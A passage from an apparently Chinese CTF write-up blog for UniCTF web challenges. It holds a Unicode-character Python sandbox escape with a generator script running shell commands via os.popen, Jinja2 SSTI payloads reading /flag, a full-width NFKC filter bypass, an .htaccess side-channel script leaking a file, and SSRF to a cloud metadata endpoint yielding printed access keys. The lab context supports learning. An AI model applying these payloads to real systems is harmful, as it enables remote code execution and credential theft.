j=i._﹍𝓼𝓾𝓫𝓬𝓵𝓪𝓼𝓼𝓮𝓼_﹍()
assert b, j

builtins

a=True
b=False
c=a.real
d=c+c
g=()._﹍reduce_ex_﹍(d)
h=g._﹍iter_﹍()._﹍next_﹍()
i=h._﹍𝓫𝓾𝓲𝓵𝓽𝓲𝓷𝓼_﹍
assert b,i

OK Fuzz完了,ban了builtins,关键词ban了class builtins getitem import *_|[],不完全啊,有些也忘了,因为发现数学字符能绕过就没再遇到过几次被ban的了。

RCE#

ls env

popen执行cat /flag的payload:

a=True
b=False
c=a.real
d=c+c
h=()._﹍𝓬𝓵𝓪𝓼𝓼_﹍
i=h._﹍𝓫𝓪𝓼𝓮_﹍
j=i._﹍𝓼𝓾𝓫𝓬𝓵𝓪𝓼𝓼𝓮𝓼_﹍()
p=j.pop
p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
D=p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
L=p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
S=p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
p(b)
W=p(b)
aa=W._﹍init_﹍
ab=aa._﹍globals_﹍
ac=S()
ad=L(ac)
ae=ad.append
ag=D(s=a)
ah=L(ag)
af=ah.pop()
ae(af)
aj=D(e=a)
ak=L(aj)
ai=ak.pop()
ae(ai)
am=D(p=a)
an=L(am)
al=an.pop()
ae(al)
ao=ac.join(ad)
ap=ab.get(ao)
aq=S()
ar=L(aq)
at=ar.append
at(af)
av=D(y=a)
aw=L(av)
au=aw.pop()
at(au)
at(af)
ax=aq.join(ar)
ay=ab.get(ax)
az=ay.modules
ba=S()
bb=L(ba)
bc=bb.append
bc(af)
be=D(t=a)
bf=L(be)
bd=bf.pop()
bc(bd)
bh=D(r=a)
bi=L(bh)
bg=bi.pop()
bc(bg)
bk=D(i=a)
bl=L(bk)
bj=bl.pop()
bc(bj)
bn=D(n=a)
bo=L(bn)
bm=bo.pop()
bc(bm)
bq=D(g=a)
br=L(bq)
bp=br.pop()
bc(bp)
bs=ba.join(bb)
bt=az.get(bs)
bv=D(_=a)
bw=L(bv)
bu=bw.pop()
bx=S()
by=L(bx)
bz=by.append
cb=D(d=a)
cc=L(cb)
ca=cc.pop()
bz(ca)
bz(bj)
ce=D(c=a)
cf=L(ce)
cd=cf.pop()
bz(cd)
bz(bd)
cg=bx.join(by)
ch=(bu,bu,cg,bu,bu)
ci=S().join(ch)
cj=bt._﹍dict_﹍
ck=S()
cl=L(ck)
cm=cl.append
cm(ca)
cm(bj)
cm(bp)
cm(bj)
cm(bd)
cm(af)
cn=ck.join(cl)
co=cj.get(cn)
cp=S()
cq=L(cp)
cr=cq.append
cr(al)
ct=D(u=a)
cu=L(ct)
cs=cu.pop()
cr(cs)
cr(bm)
cr(cd)
cr(bd)
cr(cs)
cw=D(a=a)
cx=L(cw)
cv=cx.pop()
cr(cv)
cr(bd)
cr(bj)
cz=D(o=a)
da=L(cz)
cy=da.pop()
cr(cy)
cr(bm)
db=cp.join(cq)
dc=cj.get(db)
dd=S()
de=L(dd)
df=de.append
df(cy)
df(af)
dg=dd.join(de)
dh=az.get(dg)
di=dh._﹍dict_﹍
dj=S()
dk=L(dj)
dl=dk.append
dl(al)
dl(cy)
dl(al)
dl(ai)
dl(bm)
dm=dj.join(dk)
dn=di.get(dm)
do=S()
dp=L(do)
dq=dp.append
dq(ai)
dq(cd)
ds=D(h=a)
dt=L(ds)
dr=dt.pop()
dq(dr)
dq(cy)
dv=(a,a)
dw=S(dv)
dx=L(dw)
dy=dx.pop
dy(b)
dy(b)
dy(b)
dy(b)
dy(b)
dy(b)
du=dy(b)
dq(du)
ea=D(Y=a)
eb=L(ea)
dz=eb.pop()
dq(dz)
ed=L(co)
ee=ed.pop
ee(b)
ee(b)
ec=ee(b)
dq(ec)
eg=D(F=a)
eh=L(eg)
ef=eh.pop()
dq(ef)
ej=L(co)
ek=ej.pop
ei=ek(b)
dq(ei)
em=D(I=a)
en=L(em)
el=en.pop()
dq(el)
ep=D(C=a)
eq=L(ep)
eo=eq.pop()
dq(eo)
es=L(co)
et=es.pop
et(b)
et(b)
et(b)
et(b)
et(b)
et(b)
et(b)
et(b)
et(b)
er=et(b)
dq(er)
ev=D(m=a)
ew=L(ev)
eu=ew.pop()
dq(eu)
ey=D(b=a)
ez=L(ey)
ex=ez.pop()
dq(ex)
fb=D(G=a)
fc=L(fb)
fa=fc.pop()
dq(fa)
dq(ef)
dq(bm)
dq(du)
fe=L(dc)
ff=fe.pop
ff(b)
ff(b)
ff(b)
ff(b)
ff(b)
ff(b)
ff(b)
ff(b)
ff(b)
ff(b)
ff(b)
ff(b)
ff(b)
ff(b)
ff(b)
ff(b)
ff(b)
ff(b)
ff(b)
ff(b)
ff(b)
ff(b)
ff(b)
ff(b)
ff(b)
ff(b)
ff(b)
ff(b)
ff(b)
fd=ff(b)
dq(fd)
dq(du)
dq(ex)
dq(cv)
dq(af)
dq(ai)
fh=L(co)
fi=fh.pop
fi(b)
fi(b)
fi(b)
fi(b)
fi(b)
fi(b)
fg=fi(b)
dq(fg)
fk=L(co)
fl=fk.pop
fl(b)
fl(b)
fl(b)
fl(b)
fj=fl(b)
dq(fj)
dq(du)
fn=L(dc)
fo=fn.pop
fo(b)
fo(b)
fo(b)
fo(b)
fo(b)
fo(b)
fo(b)
fo(b)
fo(b)
fo(b)
fo(b)
fo(b)
fm=fo(b)
dq(fm)
dq(ca)
dq(du)
dq(fd)
dq(du)
dq(af)
dq(dr)
fp=do.join(dp)
fq=dn(fp)
fr=fq.read()
assert False,fr

Unicode部分没啥好说,就是不停fuzz。说一下从dict拿到需要的object的方法,过滤了方括号和get关键词,没法直接用索引。其实原理很简单了,就是:

p=j.pop
p(b)
# ....

算好偏移值就一直pop,直到找到需要的那一个。

想要直接用RCE读flag,需要构造空格,这里可以用True, True中间的那个空格。不知道为啥,直接cat /flag没有输出,得echo Y2F0IC9mbGFn | base64 -d | sh才行。那就麻烦了,还得构造数字转为star塞到dict里。诶,AI写的generator,好复杂。(应该不会有人手搓p(b)吧。。。

这个 generator 好复杂,但是原理上是很清晰的。贴一下吧:

#!/usr/bin/env python3
import string
# ================= 配置区域 =================
INDEX_DICT = 26
INDEX_LIST = 38
INDEX_STR = 64
INDEX_WRAP = 138
# 命令
CMD_STR = "echo Y2F0IC9mbGFn | base64 -d | sh"
# ===========================================
# Python 关键字列表 (必须避开作为变量名)
KEYWORDS = {
'and', 'as', 'assert', 'break', 'class', 'continue', 'def', 'del',
'elif', 'else', 'except', 'False', 'finally', 'for', 'from', 'global',
'if', 'import', 'in', 'is', 'lambda', 'None', 'nonlocal', 'not', 'or',
'pass', 'raise', 'return', 'True', 'try', 'while', 'with', 'yield',
# 以及环境中已有的变量
'a', 'b', 'p', 'j'
}
class PayloadGenerator:
def __init__(self):
self.payload = []
# 从 26 (ba) 开始生成,避开单字母
self.var_counter = 26
self.char_map = {}
self.idx_counter = 0
self.V_DICT = "D"
self.V_LIST = "L"
self.V_STR = "S"
self.V_WRAP = "W"
def add(self, code):
if len(code) > 30:
print(f"# [ALARM] Line too long ({len(code)}): {code}")
self.payload.append(code)
def get_var(self):
"""生成短变量名,并自动跳过关键字"""
while True:
n = self.var_counter
name = ""
# 简单的 26 进制生成
temp_n = n
while True:
name = chr(97 + (temp_n % 26)) + name
temp_n = temp_n // 26 - 1
if temp_n < 0: break
self.var_counter += 1
# 如果生成的变量名是关键字,则跳过,重新生成下一个
if name not in KEYWORDS:
return name
def move_to(self, target_idx, save_as):
delta = target_idx - self.idx_counter
if delta < 0: raise ValueError("索引顺序错误")
for _ in range(delta):
self.add("p(b)")
self.add(f"{save_as}=p(b)")
self.idx_counter = target_idx + 1
def get_char_var(self, char):
if char in self.char_map: return self.char_map[char]
res_var = self.get_var()
# 1. 字典键名构造 (a-z, A-Z, _)
if char.isalpha() or char == '_':
k = self.get_var()
x = self.get_var()
if char == '_':
self.add(f"{k}={self.V_DICT}(_=a)")
else:
self.add(f"{k}={self.V_DICT}({char}=a)")
self.add(f"{x}={self.V_LIST}({k})")
self.add(f"{res_var}={x}.pop()")
self.char_map[char] = res_var
return res_var
# 2. os.sep (/)
if char == '/':
return self.path_sep
# 3. 空格 (List trick)
if char == ' ':
t = self.get_var()
self.add(f"{t}=(a,a)")
s_t = self.get_var()
self.add(f"{s_t}={self.V_STR}({t})")
l_t = self.get_var()
self.add(f"{l_t}={self.V_LIST}({s_t})")
pp = self.get_var()
self.add(f"{pp}={l_t}.pop")
for _ in range(6):
self.add(f"{pp}(b)")
self.add(f"{res_var}={pp}(b)")
self.char_map[char] = res_var
return res_var
# 4. 从 string 模块提取
target_src = None
src_obj_var = None
if char in string.digits:
target_src = string.digits
src_obj_var = self.var_digits
elif char in string.punctuation:
target_src = string.punctuation
src_obj_var = self.var_punc
if target_src:
idx = target_src.index(char)
tmp_list = self.get_var()
self.add(f"{tmp_list}={self.V_LIST}({src_obj_var})")
pp = self.get_var()
self.add(f"{pp}={tmp_list}.pop")
for _ in range(idx):
self.add(f"{pp}(b)")
self.add(f"{res_var}={pp}(b)")
self.char_map[char] = res_var
return res_var
raise ValueError(f"无法处理字符: {char}")
def make_string(self, text):
# 1. 空串
empty = self.get_var()
self.add(f"{empty}={self.V_STR}()")
# 2. 空列表
lst = self.get_var()
self.add(f"{lst}={self.V_LIST}({empty})")
# 3. append 方法
ap = self.get_var()
self.add(f"{ap}={lst}.append")
# 4. 追加字符
for c in text:
c_var = self.get_char_var(c)
self.add(f"{ap}({c_var})")
# 5. join
res = self.get_var()
self.add(f"{res}={empty}.join({lst})")
return res
def generate(self):
self.add("a=True")
self.add("b=False")
self.add("c=a.real")
self.add("d=c+c")
self.add("h=()._﹍𝓬𝓵𝓪𝓼𝓼_﹍")
self.add("i=h._﹍𝓫𝓪𝓼𝓮_﹍")
self.add("j=i._﹍𝓼𝓾𝓫𝓬𝓵𝓪𝓼𝓼𝓮𝓼_﹍()")
self.add("p=j.pop")
self.move_to(INDEX_DICT, self.V_DICT)
self.move_to(INDEX_LIST, self.V_LIST)
self.move_to(INDEX_STR, self.V_STR)
self.move_to(INDEX_WRAP, self.V_WRAP)
I = self.get_var()
self.add(f"{I}={self.V_WRAP}._﹍init_﹍")
G = self.get_var()
self.add(f"{G}={I}._﹍globals_﹍")
v_sep_str = self.make_string("sep")
self.path_sep = self.get_var()
self.add(f"{self.path_sep}={G}.get({v_sep_str})")
v_sys_str = self.make_string("sys")
m_sys = self.get_var()
self.add(f"{m_sys}={G}.get({v_sys_str})")
d_mods = self.get_var()
self.add(f"{d_mods}={m_sys}.modules")
v_str_str = self.make_string("string")
m_string = self.get_var()
self.add(f"{m_string}={d_mods}.get({v_str_str})")
u = self.get_char_var('_')
v_dict_str = self.make_string("dict")
t_tup = self.get_var()
self.add(f"{t_tup}=({u},{u},{v_dict_str},{u},{u})")
v_dunder_dict = self.get_var()
self.add(f"{v_dunder_dict}={self.V_STR}().join({t_tup})")
d_string_dict = self.get_var()
self.add(f"{d_string_dict}={m_string}._﹍dict_﹍")
v_digits_key = self.make_string("digits")
self.var_digits = self.get_var()
self.add(f"{self.var_digits}={d_string_dict}.get({v_digits_key})")
v_punc_key = self.make_string("punctuation")
self.var_punc = self.get_var()
self.add(f"{self.var_punc}={d_string_dict}.get({v_punc_key})")
v_os_str = self.make_string("os")
m_os = self.get_var()
self.add(f"{m_os}={d_mods}.get({v_os_str})")
d_os = self.get_var()
self.add(f"{d_os}={m_os}._﹍dict_﹍")
v_popen_str = self.make_string("popen")
f_popen = self.get_var()
self.add(f"{f_popen}={d_os}.get({v_popen_str})")
v_cmd = self.make_string(CMD_STR)
f_handle = self.get_var()
self.add(f"{f_handle}={f_popen}({v_cmd})")
res = self.get_var()
self.add(f"{res}={f_handle}.read()")
self.add(f"assert False,{res}")
return self.payload
if __name__ == "__main__":
gen = PayloadGenerator()
lines = gen.generate()
print
for line in lines:
print(line)

豪得我们来一睹芳容,看看黑盒:

# flag in /flag
import unicodedata
from flask import Flask, request, render_template
app = Flask(__name__)
@app.route('/', methods=['GET', 'POST'])
def index():
output, code = '', ''
if request.method == 'POST':
try:
code = request.form.get('code', '')
if '_' in code:
raise Exception('Ahhh... I know what you want to do with "_". It is pretty boarding stuff. Could you find some another character representing it?')
if '︳' in code:
raise Exception('Ahhh... I know what you want to do with "︳". It is pretty boarding stuff. Could you find some another character representing it?')
unicode = unicodedata.normalize('NFKC', code)
if 'getitem' in unicode:
raise Exception('You cannot use "getitem", it will too easy for you i guess ;)')
blacklist = ['__', '"', "'", '\\', '[', ']', ';', '{', '}', '1', '2', '3',
'4', '5', '6', '7', '8', '9', '0', 'def', 'class', 'lambda',
'builtins']
for i in blacklist:
if i in code:
raise Exception(f'Invalid code {i}')
payload_l = code.split('\n')
for i in payload_l:
if len(i) >= 30:
raise Exception('Do not exceed 30 characters per line')
exec(code, {'__builtins__': {}})
output = 'Code executed successfully!'
except Exception as e:
output = e
return render_template('index.html', output=output, code=code)
if __name__ == '__main__':
app.run(debug=False, port=8081, host='0.0.0.0')

复盘#

卧槽,怎么没想到用for i in x的语法,这样就不用蠢蠢的pop了。。,。

啊,这…

渗透测试[未完成]#

大概知道了要抓sm4的key和iv,解密密码库然后去burp,但是这个sm4怎么会变啊…

debugger

收获是学习了如何处置无限debugger。比较优雅的方法是搜索关键词setInterval,把对应的看着像debugger的函数置空,比如这里是_0x10f9f3 = function() {};。或者是去找.constructor,因为无限debugger多数通过这个链条去构造(不过这里不是)。暴力一点那就是直接hook定时器

for (let i = 1; i < 99999; i++) window.clearInterval(i);

black coffee[未完成]#

https://github.com/WhiteHSBG/JNDIExploit

Minecraft[未完成]#

hyw hywhyw .give command_block_minecart 64 {BlockEntityTag:{Command:“op @a”}}

作者还没放WP,给了一个思路:

大体思路
启动游戏,先进单人/give @s command_block_minecart然后保存快捷栏
进入服务器,将快捷栏加载回来就可以拿到命令方块矿车然后取出激活铁轨和拉杆
在外网找到教程 写mod并加载对准命令方块,进行编辑在命令方块矿车中输入execute as @e run op id提权到op
然后/lp user 名字 permission set velocity.command.server true允许自己使用/server命令切换服务器(要给的权限附件psql可见),切换到存在log4j漏洞的服务器然后打log4j结束

CloudDiag#

Flag:

UniCTF{48c25ee3-ce62-4f7e-8eb0-26e452b4cf78}

创建一个普通用户,无法查看所有任务,弱密码可以获得高权限,root/root123

发现任务1访问了:http://metadata:1338/latest/meta-data/iam/security-credentials/,返回IAM角色名:clouddiag-instance-role

尝试获取AWS临时凭证通过SSRF访问:http://metadata:1338/latest/meta-data/iam/security-credentials/clouddiag-instance-role,获取到: key

AccessKeyId: AKIA999D2824C11444A8
SecretAccessKey: 81b3829bbb674f13a8c34df3ab0a4fc06e09ca3b215c4ad3998937acbcc72fdd
Session Token: 0e9c8a1303e340c294ac1c970c41115bb7a5818222254b8297ebd7fff8bc63e1

path 使用Cloud Explorer访问S3,发现3个存储桶:clouddiag-public、clouddiag-reports、clouddiag-secrets。在clouddiag-secrets桶中找到flag文件,文件路径:flags/runtime/flag-7fb2347bf1a44992bf2882e1215dda8a.txt flag 尝试读取一下:UniCTF{48c25ee3-ce62-4f7e-8eb0-26e452b4cf78}

IntraSight#

这题感觉做起来很难受,一直在内网ssrf乱逛,fuzz花费了不少时间,特别是找它那几个端口。

fuzz部分简写了,大概是提示了<!-- internal-services: [public_web, admin_panel, w*_*e*1*r] -->,内部有三个服务,好在是openapi,访问/openapi.json就能看到比较有用的信息。

题目在内网部署了三个相互信任的服务:

  • Port 80 (public_web): 入口,提供 /fetch 接口。
  • Port 8001 (admin_panel): 负责鉴权。它的 /redirect_ws 接口会生成动态 Token,并以 302 跳转的方式指引客户端去访问 WebSocket 服务。
  • Port 9000 (ws_render): 核心服务。它是一个基于 WebSocket 的模板渲染器,执行真正的“预览”逻辑。

http://127.0.0.1:8001/openapi.json

{
"status": 200,
"headers": {
"content-type": "application/json",
"x-service": "admin_panel"
},
"history": [],
"body": {
"openapi": "3.1.0",
"info": {
"title": "admin_panel",
"version": "0.1.0"
},
"paths": {
"/status": {
"get": {
"summary": "Status Page",
"operationId": "status_page_status_get",
"responses": {
"200": {
"description": "Successful Response",
"content": {
"application/json": {
"schema": {}
}
}
}
}
}
},
"/api/debug/config": {
"get": {
"summary": "Debug Config",
"operationId": "debug_config_api_debug_config_get",
"responses": {
"200": {
"description": "Successful Response",
"content": {
"application/json": {
"schema": {}
}
}
}
}
}
},
"/redirect_ws": {
"get": {
"summary": "Redirect Ws",
"operationId": "redirect_ws_redirect_ws_get",
"responses": {
"200": {
"description": "Successful Response",
"content": {
"application/json": {
"schema": {}
}
}
}
}
}
}
}
}
}

http://127.0.0.1:9000/openapi.json

{
"status": 200,
"headers": {
"content-type": "application/json"
},
"history": [],
"body": {
"openapi": "3.1.0",
"info": {
"title": "ws_render",
"version": "0.1.0"
},
"paths": {}
}
}

http://127.0.0.1:80/openapi.json

{
"status": 200,
"headers": {
"content-type": "application/json"
},
"history": [],
"body": {
"openapi": "3.1.0",
"info": {
"title": "public_web",
"version": "0.1.0"
},
"paths": {
"/": {
"get": {
"summary": "Index",
"operationId": "index__get",
"responses": {
"200": {
"description": "Successful Response",
"content": {
"application/json": {
"schema": {}
}
}
}
}
}
},
"/fetch": {
"post": {
"summary": "Fetch",
"operationId": "fetch_fetch_post",
"parameters": [
{
"name": "url",
"in": "query",
"required": true,
"schema": {
"type": "string",
"title": "Url"
}
}
],
"responses": {
"200": {
"description": "Successful Response",
"content": {
"application/json": {
"schema": {}
}
}
},
"422": {
"description": "Validation Error",
"content": {
"application/json": {
"schema": {
"$ref": "#/components/schemas/HTTPValidationError"
}
}
}
}
}
},
"get": {
"summary": "Fetch",
"operationId": "fetch_fetch_post",
"parameters": [
{
"name": "url",
"in": "query",
"required": true,
"schema": {
"type": "string",
"title": "Url"
}
}
],
"responses": {
"200": {
"description": "Successful Response",
"content": {
"application/json": {
"schema": {}
}
}
},
"422": {
"description": "Validation Error",
"content": {
"application/json": {
"schema": {
"$ref": "#/components/schemas/HTTPValidationError"
}
}
}
}
}
}
}
},
"components": {
"schemas": {
"HTTPValidationError": {
"properties": {
"detail": {
"items": {
"$ref": "#/components/schemas/ValidationError"
},
"type": "array",
"title": "Detail"
}
},
"type": "object",
"title": "HTTPValidationError"
},
"ValidationError": {
"properties": {
"loc": {
"items": {
"anyOf": [
{
"type": "string"
},
{
"type": "integer"
}
]
},
"type": "array",
"title": "Location"
},
"msg": {
"type": "string",
"title": "Message"
},
"type": {
"type": "string",
"title": "Error Type"
}
},
"type": "object",
"required": [
"loc",
"msg",
"type"
],
"title": "ValidationError"
}
}
}
}
}

请求 ws:// 时,它会完成握手。如果 /fetch 收到的是 POST 请求,它会将 POST 的 Body 数据 作为建立连接后的第一条 WebSocket 消息发送出去,并等待返回(好奇怪啊,但观测到的现象是这样)。能收到 WebSocket 的 welcome 和 response 的 JSON。

后面是一个 jinja2 的 ssti。ws_render 服务在接收到 action: render 指令时,会将 template 字段的内容直接丢给 jinja2。套公式可以做

{{config.__class__.__init__.__globals__.get("os").popen('cat /flag').read()}}

名片(忘记记名字了,差不多是这个吧)#

在线的名片生成器,有两个生成的地方,一个前端渲染,一个后端渲染提供下载(好奇怪啊)。后者请求如下:

curl 'http://5000-84ce03a8-05d5-4c5d-9aab-f5af37f97241.challenge.ctfplus.cn/api/export' \
-X 'POST' \
-H 'Content-Type: application/json' \
--data-raw '{"template_id":"classic","display_name":"Aki Tanaka","title":"Gameplay Engineer","motto":"os","footer":"Glyph weave ready"}'

简单fuzz一下,向 motto 写 {{7*7}} 发现被过滤,报错 "Unsafe template pattern detected"{% %} 也不行

题目有暗示NFKC,尝试利用全角字符绕过。

  • {{ → {{
  • }} → }}
  • ( → (
  • ) → )
  • . → .
  • _ → _
  • ” → "

尝试 {{lipsum}}确认可以访问全局对象,{{lipsum.__globals__}} 查看 globals,发现包含 os 模块。好的那就: flag

{{lipsum.__globals__['os'].popen('ls').read()}}
{{lipsum.__globals__['os'].popen('cat /flag').read()}}

ezUpload#

这个我不清楚预期解是什么,因为后面出了一道 ezUpload Revenge,拿这个exp居然也能出。。。

这道题做得不算顺利,前面一直在尝试上传 .htaccess 修改 cgi 执行后缀,但是一点效果也没有。然后突然想到之前不知道哪次利用 .htaccess 侧信道读取密钥(就是第29位被截断的那次),想着试试看吧,随手传了一个RewriteCond居然500了。对了对了呀,exp如下:

import requests
import string
BASE_URL = "http://80-3ac7d554-32b7-4a29-a170-afc1ef5ee91a.challenge.ctfplus.cn"
UPLOAD_API = f"{BASE_URL}/"
CHECK_URL = f"{BASE_URL}/upload/test.txt"
CHARSET = string.ascii_letters + string.digits + "{}_-!"
current_flag = "U"
def upload_htaccess(payload):
"""上传构造好的 .htaccess 文件"""
files = {
'file': ('.htaccess', payload)
}
try:
response = requests.post(UPLOAD_API, files=files, timeout=5)
return response.status_code
except Exception as e:
print(f"Upload Error: {e}")
return None
def is_match():
"""检查状态码是否为 404 (即条件命中)"""
try:
response = requests.get(CHECK_URL, timeout=5)
# 如果逻辑命中,RewriteRule 会返回 404
return response.status_code == 404
except Exception:
return False
print(f"[+] Starting Side-Channel Attack...")
print(f"[+] Current Flag: {current_flag}")
while True:
found_in_round = False
for char in CHARSET:
# 利用 ^ 进行前缀匹配
test_pattern = current_flag + char
payload = f"""RewriteEngine On
RewriteCond expr "file('/flag') =~ /^{test_pattern}/"
RewriteRule . - [R=404]
"""
if upload_htaccess(payload):
if is_match():
current_flag += char
print(f"[!] Match found: {current_flag}")
found_in_round = True
break
if not found_in_round or current_flag.endswith("}"):
break
print("-" * 20)
print(f"Flag: {current_flag}")

ezUpload

ezUpload Revenge#

ezUpload-revenge 前面有提及,exp一模一样,在这里应该是预期解了。wp还没出,先放着。

Document#

document 诶这是哪题?wp里什么都没写,应该是很快就出了吧。

分享

如果这篇文章对你有帮助,欢迎分享给更多人!

ChaoMixian-WriteUp-20260201
https://blog.chaomixian.top/posts/chaomixian-writeup-20260201/
作者
炒米线
发布于
2026-02-01
许可协议
CC BY-NC-SA 4.0

部分信息可能已经过时

目录